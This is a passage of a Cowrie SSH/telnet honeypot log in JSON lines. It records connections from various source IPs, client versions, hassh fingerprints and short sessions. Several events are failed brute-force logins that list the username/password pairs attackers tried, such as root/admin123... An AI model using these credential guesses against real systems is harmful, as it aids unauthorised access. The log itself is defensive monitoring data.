16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:47.676974Z","src_ip":"147.45.199.80","session":"4e4bb490ff98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"05051985","message":"login attempt [root/05051985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:47.963321Z","src_ip":"147.45.199.80","session":"4e4bb490ff98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:48.336739Z","src_ip":"27.79.1.70","session":"015a30878086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:49.061307Z","src_ip":"147.45.199.80","session":"4e4bb490ff98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":45422,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0bc2a391721","protocol":"ssh","message":"New connection: 20.203.42.204:45422 (159.203.135.109:22) [session: e0bc2a391721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:50.578674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:50.585478Z","src_ip":"20.203.42.204","session":"e0bc2a391721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:50.754279Z","src_ip":"20.203.42.204","session":"e0bc2a391721","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123..","message":"login attempt [root/admin123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:51.461998Z","src_ip":"20.203.42.204","session":"e0bc2a391721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:52.635088Z","src_ip":"20.203.42.204","session":"e0bc2a391721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":34118,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e23628f114d","protocol":"ssh","message":"New connection: 122.176.122.24:34118 (159.203.135.109:22) [session: 4e23628f114d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:59.626529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:59.631159Z","src_ip":"122.176.122.24","session":"4e23628f114d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:12:59.900880Z","src_ip":"122.176.122.24","session":"4e23628f114d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123","message":"login attempt [root/Asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:13:01.006100Z","src_ip":"122.176.122.24","session":"4e23628f114d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:13:02.278411Z","src_ip":"122.176.122.24","session":"4e23628f114d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":48602,"dst_ip":"159.203.135.109","dst_port":22,"session":"242d528341ef","protocol":"ssh","message":"New connection: 103.107.60.45:48602 (159.203.135.109:22) [session: 242d528341ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:13:02.653127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:13:02.666563Z","src_ip":"103.107.60.45","session":"242d528341ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:13:02.880461Z","src_ip":"103.107.60.45","session":"242d528341ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"123","message":"login attempt [gabriel/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:13:03.753667Z","src_ip":"103.107.60.45","session":"242d528341ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:13:04.969927Z","src_ip":"103.107.60.45","session":"242d528341ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":42508,"dst_ip":"10.17.0.5","dst_port":22,"session":"c627be8ce776","protocol":"ssh","message":"New connection: 194.59.206.2:42508 (10.17.0.5:22) [session: c627be8ce776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:13:23.620363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:13:23.624854Z","src_ip":"194.59.206.2","session":"c627be8ce776","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:13:23.710824Z","src_ip":"194.59.206.2","session":"c627be8ce776","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:13:23.801259Z","src_ip":"194.59.206.2","session":"c627be8ce776","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.87.219.67","src_port":56512,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f26ba184a76","protocol":"ssh","message":"New connection: 20.87.219.67:56512 (159.203.135.109:22) [session: 4f26ba184a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:13:37.688459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:13:37.693165Z","src_ip":"20.87.219.67","session":"4f26ba184a76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:13:37.918848Z","src_ip":"20.87.219.67","session":"4f26ba184a76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gaurav","password":"gaurav","message":"login attempt [gaurav/gaurav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:13:38.853058Z","src_ip":"20.87.219.67","session":"4f26ba184a76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:13:40.087332Z","src_ip":"20.87.219.67","session":"4f26ba184a76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":36764,"dst_ip":"159.203.135.109","dst_port":23,"session":"befc78eb8e3b","protocol":"telnet","message":"New connection: 79.139.59.21:36764 (159.203.135.109:23) [session: befc78eb8e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:13:52.836205Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.38.73.89","src_port":32896,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fc67eebce8f","protocol":"ssh","message":"New connection: 156.38.73.89:32896 (159.203.135.109:22) [session: 1fc67eebce8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:05.539045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:05.545259Z","src_ip":"156.38.73.89","session":"1fc67eebce8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:05.723386Z","src_ip":"156.38.73.89","session":"1fc67eebce8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":39334,"dst_ip":"10.17.0.5","dst_port":22,"session":"b03341dbfcf0","protocol":"ssh","message":"New connection: 103.149.170.125:39334 (10.17.0.5:22) [session: b03341dbfcf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:06.359389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:06.364987Z","src_ip":"103.149.170.125","session":"b03341dbfcf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e#E@W!Q","message":"login attempt [root/1q2w3e#E@W!Q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:06.469709Z","src_ip":"156.38.73.89","session":"1fc67eebce8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:06.631370Z","src_ip":"103.149.170.125","session":"b03341dbfcf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blaster","message":"login attempt [root/blaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:07.429399Z","src_ip":"103.149.170.125","session":"b03341dbfcf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:07.650115Z","src_ip":"156.38.73.89","session":"1fc67eebce8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:08.699628Z","src_ip":"103.149.170.125","session":"b03341dbfcf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.169.136.0","src_port":56356,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f96b4eaa56c","protocol":"telnet","message":"New connection: 187.169.136.0:56356 (10.17.0.5:23) [session: 3f96b4eaa56c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:17.644788Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.1.70","src_port":36316,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c86ce4d8320","protocol":"ssh","message":"New connection: 27.79.1.70:36316 (159.203.135.109:22) [session: 5c86ce4d8320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:19.710672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:14:19.716496Z","src_ip":"27.79.1.70","session":"5c86ce4d8320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@opens